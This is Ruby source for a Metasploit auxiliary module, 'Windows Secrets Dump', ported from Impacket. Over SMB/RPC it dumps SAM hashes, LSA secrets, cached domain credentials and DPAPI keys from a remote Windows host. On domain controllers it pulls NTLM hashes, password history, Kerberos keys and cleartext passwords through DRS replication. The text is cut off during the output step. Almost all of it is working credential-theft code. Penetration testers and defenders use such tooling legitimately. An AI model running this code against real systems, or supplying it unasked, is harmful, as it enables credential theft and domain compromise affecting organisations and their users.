## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'ruby_smb/dcerpc/client' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report include Msf::Util::WindowsRegistry include Msf::Util::WindowsCryptoHelpers include Msf::OptionalSession::SMB # Mapping of MS-SAMR encryption keys to IANA Kerberos Parameter values # # @see RubySMB::Dcerpc::Samr::KERBEROS_TYPE # @see Rex::Proto::Kerberos::Crypto::Encryption # rubocop:disable Layout/HashAlignment SAMR_KERBEROS_TYPE_TO_IANA = { 1 => Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_CRC, 3 => Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_MD5, 17 => Rex::Proto::Kerberos::Crypto::Encryption::AES128, 18 => Rex::Proto::Kerberos::Crypto::Encryption::AES256, 0xffffff74 => Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC }.freeze # rubocop:enable Layout/HashAlignment def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Secrets Dump', 'Description' => %q{ Dumps SAM hashes and LSA secrets (including cached creds) from the remote Windows target without executing any agent locally. This is done by remotely updating the registry key security descriptor, taking advantage of the WriteDACL privileges held by local administrators to set temporary read permissions. This can be disabled by setting the `INLINE` option to false and the module will fallback to the original implementation, which consists in saving the registry hives locally on the target (%SYSTEMROOT%\Temp\.tmp), downloading the temporary hive files and reading the data from it. This temporary files are removed when it's done. On domain controllers, secrets from Active Directory is extracted using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need to get SIDs, NTLM hashes, groups, password history, Kerberos keys and other interesting data. Note that the actual `NTDS.dit` file is not downloaded. Instead, the Directory Replication Service directly asks Active Directory through RPC requests. This modules takes care of starting or enabling the Remote Registry service if needed. It will restore the service to its original state when it's done. This is a port of the great Impacket `secretsdump.py` code written by Alberto Solino. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alberto Solino', # Original Impacket code 'Christophe De La Fuente', # MSF module 'antuache' # Inline technique ], 'References' => [ ['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'], ], 'Notes' => { 'Reliability' => [], 'Stability' => [], 'SideEffects' => [ IOC_IN_LOGS ] }, 'Actions' => [ [ 'ALL', { 'Description' => 'Dump everything' } ], [ 'SAM', { 'Description' => 'Dump SAM hashes' } ], [ 'CACHE', { 'Description' => 'Dump cached hashes' } ], [ 'LSA', { 'Description' => 'Dump LSA secrets' } ], [ 'DOMAIN', { 'Description' => 'Dump domain secrets (credentials, password history, Kerberos keys, etc.)' } ] ], 'DefaultAction' => 'ALL' ) ) register_options( [ Opt::RPORT(445), OptBool.new( 'INLINE', [ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ], conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]] ) ] ) @service_should_be_stopped = false @service_should_be_disabled = false end def enable_registry svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry') svc_status = @svcctl.query_service_status(svc_handle) case svc_status.dw_current_state when RubySMB::Dcerpc::Svcctl::SERVICE_RUNNING print_status('Service RemoteRegistry is already running') when RubySMB::Dcerpc::Svcctl::SERVICE_STOPPED print_status('Service RemoteRegistry is in stopped state') svc_config = @svcctl.query_service_config(svc_handle) if svc_config.dw_start_type == RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED print_status('Service RemoteRegistry is disabled, enabling it...') @svcctl.change_service_config_w( svc_handle, start_type: RubySMB::Dcerpc::Svcctl::SERVICE_DEMAND_START ) @service_should_be_disabled = true end print_status('Starting service...') @svcctl.start_service_w(svc_handle) @service_should_be_stopped = true else print_error('Unable to get the service RemoteRegistry state') end ensure @svcctl.close_service_handle(svc_handle) if svc_handle end def get_boot_key print_status('Retrieving target system bootKey') root_key_handle = @winreg.open_root_key('HKLM') boot_key = ''.b ['JD', 'Skew1', 'GBG', 'Data'].each do |key| sub_key = "SYSTEM\\CurrentControlSet\\Control\\Lsa\\#{key}" vprint_status("Retrieving class info for #{sub_key}") subkey_handle = @winreg.open_key(root_key_handle, sub_key) query_info_key_response = @winreg.query_info_key(subkey_handle) boot_key << query_info_key_response.lp_class.to_s.encode(::Encoding::ASCII_8BIT) @winreg.close_key(subkey_handle) subkey_handle = nil ensure @winreg.close_key(subkey_handle) if subkey_handle end if boot_key.size != 32 vprint_error("bootKey must be 16-bytes long (hex string of 32 chars), got \"#{boot_key}\" (#{boot_key.size} chars)") return ''.b end transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] boot_key = [boot_key].pack('H*') boot_key = transforms.map { |i| boot_key[i] }.join print_good("bootKey: 0x#{boot_key.unpack('H*')[0]}") unless boot_key&.empty? boot_key ensure @winreg.close_key(root_key_handle) if root_key_handle end def check_lm_hash_not_stored vprint_status('Checking NoLMHash policy') res = @winreg.read_registry_key_value('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'NoLmHash', bind: false) if res == 1 vprint_status('LMHashes are not being stored') @lm_hash_not_stored = true else vprint_status('LMHashes are being stored') @lm_hash_not_stored = false end rescue RubySMB::Dcerpc::Error::WinregError => e vprint_warning("An error occurred when checking NoLMHash policy: #{e}") end def save_registry_key(hive_name) vprint_status("Create #{hive_name} key") root_key_handle = @winreg.open_root_key('HKLM') new_key_handle = @winreg.create_key(root_key_handle, hive_name) file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.tmp" vprint_status("Save key to #{file_name}") @winreg.save_key(new_key_handle, "..\\Temp\\#{file_name}") file_name ensure @winreg.close_key(new_key_handle) if new_key_handle @winreg.close_key(root_key_handle) if root_key_handle end def retrieve_hive(hive_name) file_name = save_registry_key(hive_name) tree2 = simple.client.tree_connect("\\\\#{simple.address}\\ADMIN$") file = tree2.open_file(filename: "Temp\\#{file_name}", delete: true, read: true) file.read ensure file.delete if file file.close if file tree2.disconnect! if tree2 end def save_sam print_status('Saving remote SAM database') retrieve_hive('SAM') end def save_security print_status('Saving remote SECURITY database') retrieve_hive('SECURITY') end def report_creds( user, hash, type: :ntlm_hash, jtr_format: '', realm_key: nil, realm_value: nil ) service_data = { address: simple.address, port: simple.port, service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, origin_type: :service, private_data: hash, private_type: type, jtr_format: jtr_format, username: user }.merge(service_data) credential_data[:realm_key] = realm_key if realm_key credential_data[:realm_value] = realm_value if realm_value cl = create_credential_and_login(credential_data) cl.respond_to?(:core_id) ? cl.core_id : nil end def report_info(data, type = '') report_note( host: simple.address, port: simple.port, proto: 'tcp', sname: 'smb', type: type, data: data, update: :unique_data ) end def dump_sam_hashes(windows_reg, boot_key) print_status('Dumping SAM hashes') vprint_status('Calculating HashedBootKey from SAM') hboot_key = windows_reg.get_hboot_key(boot_key) unless hboot_key.present? print_warning('Unable to get hbootKey') return end users = windows_reg.get_user_keys users.each do |rid, user| user[:hashnt], user[:hashlm] = decrypt_user_key(hboot_key, user[:V], rid) end print_status('Password hints:') hint_count = 0 users.keys.sort { |a, b| a <=> b }.each do |rid| # If we have a hint then print it next unless !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty? hint = "#{users[rid][:Name]}: \"#{users[rid][:UserPasswordHint]}\"" report_info(hint, 'user.password_hint') print_line(hint) hint_count += 1 end print_line('No users with password hints on this system') if hint_count == 0 print_status('Password hashes (pwdump format - uid:rid:lmhash:nthash:::):') users.keys.sort { |a, b| a <=> b }.each do |rid| hash = "#{users[rid][:hashlm].unpack('H*')[0]}:#{users[rid][:hashnt].unpack('H*')[0]}" unless report_creds(users[rid][:Name], hash) vprint_bad("Error when reporting #{users[rid][:Name]} hash") end print_line("#{users[rid][:Name]}:#{rid}:#{hash}:::") end end def get_lsa_secret_key(windows_reg, boot_key) print_status('Decrypting LSA Key') lsa_key = windows_reg.lsa_secret_key(boot_key) vprint_good("LSA key: #{lsa_key.unpack('H*')[0]}") if windows_reg.lsa_vista_style vprint_status('Vista or above system') else vprint_status('XP or below system') end return lsa_key end def get_nlkm_secret_key(windows_reg, lsa_key) print_status('Decrypting NL$KM') windows_reg.nlkm_secret_key(lsa_key) end def dump_cached_hashes(windows_reg, nlkm_key) print_status('Dumping cached hashes') cache_infos = windows_reg.cached_infos(nlkm_key) if cache_infos.nil? || cache_infos.empty? print_warning('No cashed entries.') if datastore['INLINE'] print_warning('This might be expected or you can still try again with the `INLINE` option set to false') end return end hashes = '' cache_infos.each do |cache_info| vprint_status("Looking into #{cache_info.name}") next unless cache_info.entry.user_name_length > 0 vprint_status("Reg entry: #{cache_info.entry.to_hex}") vprint_status("Encrypted data: #{cache_info.entry.enc_data.to_hex}") vprint_status("IV: #{cache_info.entry.iv.to_hex}") vprint_status("Decrypted data: #{cache_info.data.to_hex}") username = cache_info.data.username.encode(::Encoding::UTF_8) info = [] info << ("Username: #{username}") if cache_info.iteration_count info << ("Iteration count: #{cache_info.iteration_count} -> real #{cache_info.real_iteration_count}") end info << ("Last login: #{cache_info.entry.last_access.to_time}") dns_domain_name = cache_info.data.dns_domain_name.encode(::Encoding::UTF_8) info << ("DNS Domain Name: #{dns_domain_name}") info << ("UPN: #{cache_info.data.upn.encode(::Encoding::UTF_8)}") info << ("Effective Name: #{cache_info.data.effective_name.encode(::Encoding::UTF_8)}") info << ("Full Name: #{cache_info.data.full_name.encode(::Encoding::UTF_8)}") info << ("Logon Script: #{cache_info.data.logon_script.encode(::Encoding::UTF_8)}") info << ("Profile Path: #{cache_info.data.profile_path.encode(::Encoding::UTF_8)}") info << ("Home Directory: #{cache_info.data.home_directory.encode(::Encoding::UTF_8)}") info << ("Home Directory Drive: #{cache_info.data.home_directory_drive.encode(::Encoding::UTF_8)}") info << ("User ID: #{cache_info.entry.user_id}") info << ("Primary Group ID: #{cache_info.entry.primary_group_id}") info << ("Additional groups: #{cache_info.data.groups.map(&:relative_id).join(' ')}") logon_domain_name = cache_info.data.logon_domain_name.encode(::Encoding::UTF_8) info << ("Logon domain name: #{logon_domain_name}") report_info(info.join('; '), 'user.cache_info') vprint_line(info.join("\n")) credential_opts = { type: :nonreplayable_hash, realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: logon_domain_name } if windows_reg.lsa_vista_style jtr_hash = "$DCC2$#{cache_info.real_iteration_count}##{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}" else jtr_hash = "M$#{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}" end credential_opts[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(jtr_hash) unless report_creds("#{logon_domain_name}\\#{username}", jtr_hash, **credential_opts) vprint_bad("Error when reporting #{logon_domain_name}\\#{username} hash (#{credential_opts[:jtr_format]} format)") end hashes << "#{logon_domain_name}\\#{username}:#{jtr_hash}\n" end if hashes.empty? print_line('No cached hashes on this system') else print_status("Hash#{'es' if hashes.lines.size > 1} are in '#{windows_reg.lsa_vista_style ? 'mscash2' : 'mscash'}' format") print_line(hashes) end end def get_service_account(service_name) return nil unless @svcctl vprint_status("Getting #{service_name} service account") svc_handle = @svcctl.open_service_w(@scm_handle, service_name) svc_config = @svcctl.query_service_config(svc_handle) return nil if svc_config.lp_service_start_name == :null svc_config.lp_service_start_name.to_s rescue RubySMB::Dcerpc::Error::SvcctlError => e vprint_warning("An error occurred when getting #{service_name} service account: #{e}") return nil ensure @svcctl.close_service_handle(svc_handle) if svc_handle end def get_default_login_account vprint_status('Getting default login account') begin username = @winreg.read_registry_key_value( 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'DefaultUserName', bind: false ) rescue RubySMB::Dcerpc::Error::WinregError => e vprint_warning("An error occurred when getting the default user name: #{e}") return nil end return nil if username.nil? || username.empty? username = username.encode(::Encoding::UTF_8) begin domain = @winreg.read_registry_key_value( 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'DefaultDomainName', bind: false ) rescue RubySMB::Dcerpc::Error::WinregError => e vprint_warning("An error occurred when getting the default domain name: #{e}") domain = '' end username = "#{domain.encode(::Encoding::UTF_8)}\\#{username}" unless domain.nil? || domain.empty? username end # Returns Kerberos salt for the current connection if we have the correct information def get_machine_kerberos_salt host = simple.client.default_name return ''.b if host.nil? || host.empty? domain = simple.client.dns_domain_name "#{domain.upcase}host#{host.downcase}.#{domain.downcase}".b end # @return [Array[Hash{String => String}]] def get_machine_kerberos_keys(raw_secret, _machine_name) vprint_status('Calculating machine account Kerberos keys') # Attempt to create Kerberos keys from machine account (if possible) secret = [] salt = get_machine_kerberos_salt if salt.empty? vprint_error('Unable to get the salt') return [] end raw_secret_utf_16le = raw_secret.dup.force_encoding(::Encoding::UTF_16LE) raw_secret_utf8 = raw_secret_utf_16le.encode(::Encoding::UTF_8, invalid: :replace).b secret << { enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES256, key: aes256_cts_hmac_sha1_96(raw_secret_utf8, salt), salt: salt } secret << { enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES128, key: aes128_cts_hmac_sha1_96(raw_secret_utf8, salt), salt: salt } secret << { enctype: Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_MD5, key: des_cbc_md5(raw_secret_utf8, salt), salt: salt } secret << { enctype: Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC, key: OpenSSL::Digest::MD4.digest(raw_secret), salt: nil } secret end def print_secret(name, secret_item) if secret_item.nil? || secret_item.empty? vprint_status("Discarding secret #{name}, NULL Data") return end if secret_item.start_with?("\x00\x00".b) vprint_status("Discarding secret #{name}, all zeros") return end upper_name = name.upcase print_line(name.to_s) secret = '' if upper_name.start_with?('_SC_') # Service name, a password might be there # We have to get the account the service runs under account = get_service_account(name[4..]) if account secret = "#{account.encode(::Encoding::UTF_8)}:" else secret = '(Unknown User): ' end secret << secret_item elsif upper_name.start_with?('DEFAULTPASSWORD') # We have to get the account this password is for account = get_default_login_account || '(Unknown User)' password = secret_item.dup.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8) unless report_creds(account, password, type: :password) vprint_bad("Error when reporting #{account} default password") end secret << "#{account}: #{password}" elsif upper_name.start_with?('ASPNET_WP_PASSWORD') secret = "ASPNET: #{secret_item}" elsif upper_name.start_with?('DPAPI_SYSTEM') # Decode the DPAPI Secrets machine_key = secret_item[4, 20] user_key = secret_item[24, 20] report_info(machine_key.unpack('H*')[0], 'dpapi.machine_key') report_info(user_key.unpack('H*')[0], 'dpapi.user_key') secret = "dpapi_machinekey: 0x#{machine_key.unpack('H*')[0]}\ndpapi_userkey: 0x#{user_key.unpack('H*')[0]}" elsif upper_name.start_with?('$MACHINE.ACC') md4 = OpenSSL::Digest::MD4.digest(secret_item) machine, domain, dns_domain_name = get_machine_name_and_domain_info print_name = "#{domain}\\#{machine}$" ntlm_hash = "#{Net::NTLM.lm_hash('').unpack('H*')[0]}:#{md4.unpack('H*')[0]}" secret_ary = ["#{print_name}:#{ntlm_hash}:::"] credential_opts = { realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: dns_domain_name } unless report_creds(print_name, ntlm_hash, **credential_opts) vprint_bad("Error when reporting #{print_name} NTLM hash") end raw_passwd = secret_item.unpack('H*')[0] credential_opts[:type] = :password unless report_creds(print_name, raw_passwd, **credential_opts) vprint_bad("Error when reporting #{print_name} raw password hash") end secret = "#{print_name}:plain_password_hex:#{raw_passwd}\n" machine_kerberos_keys = get_machine_kerberos_keys(secret_item, print_name) if machine_kerberos_keys.empty? vprint_status('Could not calculate machine account Kerberos keys') else credential_opts[:type] = :krb_enc_key machine_kerberos_keys.each do |key| key_data = Metasploit::Credential::KrbEncKey.build_data(**key) unless report_creds(print_name, key_data, **credential_opts) vprint_bad("Error when reporting #{print_name} machine kerberos key #{krb_enc_key_to_s(key)}") end end end secret << machine_kerberos_keys.map { |key| "#{print_name}:#{krb_enc_key_to_s(key)}" }.concat(secret_ary).join("\n") end if secret.empty? print_line(Rex::Text.to_hex_dump(secret_item).strip) print_line("Hex string: #{secret_item.unpack('H*')[0]}") else print_line(secret) end print_line end def dump_lsa_secrets(windows_reg, lsa_key) print_status('Dumping LSA Secrets') lsa_secrets = windows_reg.lsa_secrets(lsa_key) if lsa_secrets.empty? print_warning('No LSA secrets to dump') if datastore['INLINE'] print_warning('This might be expected or you can still try again with the `INLINE` option set to false') end end lsa_secrets.each do |key, secret| print_secret(key, secret) end end def get_machine_name_and_domain_info if simple.client&.default_name.blank? begin vprint_status('Getting Server Info') wkssvc = @tree.open_file(filename: 'wkssvc', write: true, read: true) vprint_status('Binding to \\wkssvc...') wkssvc.bind(endpoint: RubySMB::Dcerpc::Wkssvc) vprint_status('Bound to \\wkssvc') info = wkssvc.netr_wksta_get_info rescue RubySMB::Error::RubySMBError => e print_error("Error when connecting to 'wkssvc' interface ([#{e.class}] #{e}).") return end return [info[:wki100_computername].encode('utf-8'), info[:wki100_langroup].encode('utf-8'), datastore['SMBDomain']] end [simple.client.default_name, simple.client.default_domain, simple.client.dns_domain_name] end def connect_samr(domain_name) vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol') @samr = @tree.open_file(filename: 'samr', write: true, read: true) vprint_status('Binding to \\samr...') @samr.bind(endpoint: RubySMB::Dcerpc::Samr) vprint_good('Bound to \\samr') @server_handle = @samr.samr_connect @domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain_name) @domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: @domain_sid) builtin_domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: 'Builtin') @builtin_domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: builtin_domain_sid) end def get_domain_users users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle) vprint_status("Obtained #{users.length} domain users, fetching the SID for each...") progress_interval = 250 nb_digits = (Math.log10(users.length) + 1).floor users = users.each_with_index.map do |(rid, name), index| if index % progress_interval == 0 percent = format('%.2f', (index / users.length.to_f * 100)).rjust(5) print_status("SID enumeration progress - #{index.to_s.rjust(nb_digits)} / #{users.length} (#{percent}%)") end sid = @samr.samr_rid_to_sid(object_handle: @domain_handle, rid: rid) [sid.to_s, name.to_s] end print_status("SID enumeration progress - #{users.length} / #{users.length} ( 100%)") users rescue RubySMB::Error::RubySMBError => e print_error("Error when enumerating domain users ([#{e.class}] #{e}).") return end def get_user_groups(sid) user_handle = nil rid = sid.split('-').last.to_i user_handle = @samr.samr_open_user(domain_handle: @domain_handle, user_id: rid) groups = @samr.samr_get_group_for_user(user_handle: user_handle) groups = groups.map do |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group.relative_id.to_i}") end alias_groups = @samr.samr_get_alias_membership(domain_handle: @domain_handle, sids: groups + [sid]) alias_groups = alias_groups.map do |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group}") end builtin_alias_groups = @samr.samr_get_alias_membership(domain_handle: @builtin_domain_handle, sids: groups + [sid]) builtin_alias_groups = builtin_alias_groups.map do |group| RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group}") end groups + alias_groups + builtin_alias_groups ensure @samr.close_handle(user_handle) if user_handle end def connect_drs dcerpc_client = RubySMB::Dcerpc::Client.new( simple.address, RubySMB::Dcerpc::Drsr, username: datastore['SMBUser'], password: datastore['SMBPass'] ) auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_WINNT if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank? offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes']) fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty? kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new( host: datastore['DomainControllerRhost'], hostname: datastore['Smb::Rhostname'], proxies: datastore['Proxies'], realm: datastore['SMBDomain'], username: datastore['SMBUser'], password: datastore['SMBPass'], framework: framework, framework_module: self, cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'], mutual_auth: true, dce_style: true, use_gss_checksum: true, ticket_storage: kerberos_ticket_storage, offered_etypes: offered_etypes ) dcerpc_client.extend(Msf::Exploit::Remote::DCERPC::KerberosAuthentication) dcerpc_client.kerberos_authenticator = kerberos_authenticator auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_GSS_NEGOTIATE end dcerpc_client.connect vprint_status('Binding to DRSR...') dcerpc_client.bind( endpoint: RubySMB::Dcerpc::Drsr, auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_type: auth_type ) vprint_status('Bound to DRSR') dcerpc_client rescue RubySMB::Dcerpc::Error::DcerpcError, ArgumentError => e print_error("Unable to bind to the directory replication remote service (DRS): #{e}") return end def decrypt_supplemental_info(dcerpc_client, result, attribute_value) result[:kerberos_keys] = [] result[:clear_text_passwords] = {} plain_text = dcerpc_client.decrypt_attribute_value(attribute_value) user_properties = RubySMB::Dcerpc::Samr::UserProperties.read(plain_text) user_properties.user_properties.each do |user_property| case user_property.property_name.encode('utf-8') when 'Primary:Kerberos-Newer-Keys' value = user_property.property_value binary_value = value.chars.each_slice(2).map { |a, b| (a + b).hex.chr }.join kerb_stored_credential_new = RubySMB::Dcerpc::Samr::KerbStoredCredentialNew.read(binary_value) key_values = kerb_stored_credential_new.get_key_values kerb_stored_credential_new.credentials.each_with_index do |credential, i| # Extract the kerberos keys, note that the enctype here is a RubySMB::Dcerpc::Samr::KERBEROS_TYPE # not the IANA Kerberos value, which is required for database persistence result[:kerberos_keys] << { enctype: credential.key_type.to_i, key: key_values[i] } end when 'Primary:CLEARTEXT' # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. begin result[:clear_text_passwords] << user_property.property_value.to_s.force_encoding('utf-16le').encode('utf-8') rescue EncodingError # This could be because we're decoding a machine password. Printing it hex # Keep clear_text_passwords with a ASCII-8BIT encoding result[:clear_text_passwords] << user_property.property_value.to_s end end end end def parse_user_record(dcerpc_client, user_record) vprint_status("Decrypting hash for user: #{user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..].join.encode('utf-8')}") entinf_struct = user_record.pmsg_out.msg_getchg.p_objects.entinf rid = entinf_struct.p_name.sid[-4..].unpack('L<').first dn = user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..].join.encode('utf-8') result = { dn: dn, rid: rid, object_sid: rid, lm_hash: Net::NTLM.lm_hash(''), nt_hash: Net::NTLM.ntlm_hash(''), disabled: nil, pwd_last_set: nil, last_logon: nil, expires: nil, computer_account: nil, password_never_expires: nil, password_not_required: nil, lm_history: [], nt_history: [], domain_name: '', username: 'unknown', admin: false, domain_admin: false, enterprise_admin: false } entinf_struct.attr_block.p_attr.each do |attr| next unless attr.attr_val.val_count > 0 att_id = user_record.pmsg_out.msg_getchg.oid_from_attid(attr.attr_typ) lookup_table = RubySMB::Dcerpc::Drsr::ATTRTYP_TO_ATTID attribute_value = attr.attr_val.p_aval[0].p_val.to_ary.map(&:chr).join case att_id when lookup_table['dBCSPwd'] encrypted_lm_hash = dcerpc_client.decrypt_attribute_value(attribute_value) result[:lm_hash] = dcerpc_client.remove_des_layer(encrypted_lm_hash, rid) when lookup_table['unicodePwd'] encrypted_nt_hash = dcerpc_client.decrypt_attribute_value(attribute_value) result[:nt_hash] = dcerpc_client.remove_des_layer(encrypted_nt_hash, rid) when lookup_table['userPrincipalName'] result[:domain_name] = attribute_value.force_encoding('utf-16le').split('@'.encode('utf-16le')).last.encode('utf-8') when lookup_table['sAMAccountName'] result[:username] = attribute_value.force_encoding('utf-16le').encode('utf-8') when lookup_table['objectSid'] result[:object_sid] = attribute_value when lookup_table['userAccountControl'] user_account_control = attribute_value.unpack('L<')[0] result[:disabled] = user_account_control & RubySMB::Dcerpc::Samr::UF_ACCOUNTDISABLE != 0 result[:computer_account] = user_account_control & RubySMB::Dcerpc::Samr::UF_NORMAL_ACCOUNT == 0 result[:password_never_expires] = user_account_control & RubySMB::Dcerpc::Samr::UF_DONT_EXPIRE_PASSWD != 0 result[:password_not_required] = user_account_control & RubySMB::Dcerpc::Samr::UF_PASSWD_NOTREQD != 0 when lookup_table['pwdLastSet'] result[:pwd_last_set] = Time.at(0) time_value = attribute_value.unpack('Q<')[0] if time_value > 0 result[:pwd_last_set] = RubySMB::Field::FileTime.new(time_value).to_time.utc end when lookup_table['lastLogonTimestamp'] result[:last_logon] = Time.at(0) time_value = attribute_value.unpack('Q<')[0] if time_value > 0 result[:last_logon] = RubySMB::Field::FileTime.new(time_value).to_time.utc end when lookup_table['accountExpires'] result[:expires] = Time.at(0) time_value = attribute_value.unpack('Q<')[0] if time_value > 0 && time_value != 0x7FFFFFFFFFFFFFFF result[:expires] = RubySMB::Field::FileTime.new(time_value).to_time.utc end when lookup_table['lmPwdHistory'] tmp_lm_history = dcerpc_client.decrypt_attribute_value(attribute_value) tmp_lm_history.bytes.each_slice(16) do |block| result[:lm_history] << dcerpc_client.remove_des_layer(block.map(&:chr).join, rid) end when lookup_table['ntPwdHistory'] tmp_nt_history = dcerpc_client.decrypt_attribute_value(attribute_value) tmp_nt_history.bytes.each_slice(16) do |block| result[:nt_history] << dcerpc_client.remove_des_layer(block.map(&:chr).join, rid) end when lookup_table['supplementalCredentials'] decrypt_supplemental_info(dcerpc_client, result, attribute_value) end end result end def dump_ntds_hashes _machine_name, domain_name, dns_domain_name = get_machine_name_and_domain_info return unless domain_name print_status('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') print_status('Using the DRSUAPI method to get NTDS.DIT secrets') begin connect_samr(domain_name) rescue RubySMB::Error::RubySMBError => e print_error( "Unable to connect to the remote Security Account Manager (SAM) ([#{e.class}] #{e}). "\ 'Is the remote server a Domain Controller?' ) return end users = get_domain_users dcerpc_client = connect_drs unless dcerpc_client print_error( 'Unable to connect to the directory replication remote service (DRS).'\ 'Is the remote server a Domain Controller?' ) return end ph_drs = dcerpc_client.drs_bind dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name) user_info = {} dc_infos.each do |dc_info| users.each do |user| sid = user[0] crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid]) crack_names.each do |crack_name| user_record = dcerpc_client.drs_get_nc_changes( ph_drs, nc_guid: crack_name.p_name.to_s.encode('utf-8'), dsa_object_guid: dc_info.ntds_dsa_object_guid ) user_info[sid] = parse_user_record(dcerpc_client, user_record) end groups = get_user_groups(sid) groups.each do |group| case group.name when 'BUILTIN\\Administrators' user_info[sid][:admin] = true when '(domain)\\Domain Admins' user_info[sid][:domain_admin] = true when '(domain)\\Enterprise Admins' user_info[sid][:enterprise_admin] = true end end end end credential_opts = { realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: dns_domain_name } print_line('# SID\'s:') user_info.each do |sid, info| full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}" print_line("#{full_name}: #{sid}") end print_line("\n# NTLM hashes:") user_info.each_value do |info| hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}" full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}" unless report_creds(full_name, hash, **credential_opts) vprint_bad("Error when reporting #{full_name} hash") end print_line("#{full_name}:#{info[:rid]}:#{hash}:::") end print_line("\n# Full pwdump format:") user_info.each do |sid, info| hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}" full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}" pwdump = "#{full_name}:#{info[:rid]}:#{hash}:" extra_info = "Disabled=#{info[:disabled].nil? ? 'N/A' : info[:disabled]}," extra_info << "Expired=#{!info[:disabled] && info[:expires] && info[:expires] > Time.at(0) && info[:expires] < Time.now}," extra_info << "PasswordNeverExpires=#{info[:password_never_expires].nil? ? 'N/A' : info[:password_never_expires]}," extra_info << "PasswordNotRequired=#{info[:password_not_required].nil? ? 'N/A' : info[:password_not_required]}," extra_info << "PasswordLastChanged=#{info[:pwd_last_set] && info[:pwd_last_set] > Time.at(0) ? info[:pwd_last_set].strftime('%Y%m%d%H%M') : 'never'}," extra_info << "LastLogonTimestamp=#{info[:last_logon] && info[:last_logon] > Time.at(0) ? info[:last_logon].strftime('%Y%m%d%H%M') : 'never'}," extra_info << "IsAdministrator=#{info[:admin]}," extra_info << "IsDomainAdmin=#{info[:domain_admin]}," extra_info << "IsEnterpriseAdmin=#{info[:enterprise_admin]}" print_line(pwdump + extra_info + '::') report_info("#{full_name} (#{sid}): #{extra_info}", 'user.info') end print_line("\n# Account Info:") user_info.each_value do |info| print_line("## #{info[:dn]}") print_line("- Administrator: #{info[:admin]}") print_line("- Domain Admin: #{info[:domain_admin]}") print_line("- Enterprise Admin: #{info[:enterprise_admin]}") print_line("- Password last changed: 